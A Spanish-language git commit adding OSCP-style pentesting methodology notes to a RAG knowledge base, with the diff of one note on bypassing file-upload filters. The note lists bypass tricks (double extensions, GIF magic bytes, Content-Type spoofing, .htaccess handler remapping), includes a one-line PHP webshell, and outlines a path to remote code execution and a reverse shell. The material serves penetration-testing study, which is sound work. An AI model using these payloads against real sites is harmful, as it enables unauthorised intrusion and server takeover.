saber: pack de metodologia publico (conocimiento/) + doc del RAG

El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.

nucleo/saber/conocimiento/02 - Explotacion web/File upload bypass.md

@@ -0,0 +1,16 @@
+# File upload bypass
+
+> Subir una webshell cuando el upload está "filtrado". Vector de Hacking web. Manipula la subida con Burp Suite.
+
+## Trucos
+```
+Doble extensión   → shell.php.jpg, shell.phtml, .phar, .pht
+Magic bytes       → GIF89a;<?php system($_GET['c']); ?>
+Content-Type      → Burp: cambiar a image/jpeg
+.htaccess         → reasignar el handler para que .jpg se ejecute como PHP
+```
+
+## Flujo
+1. Subes la webshell evadiendo el filtro.
+2. La localizas (fuzzing de `/uploads/` → Enumeración web).
+3. `?c=...` → RCE → lanzas Reverse shell.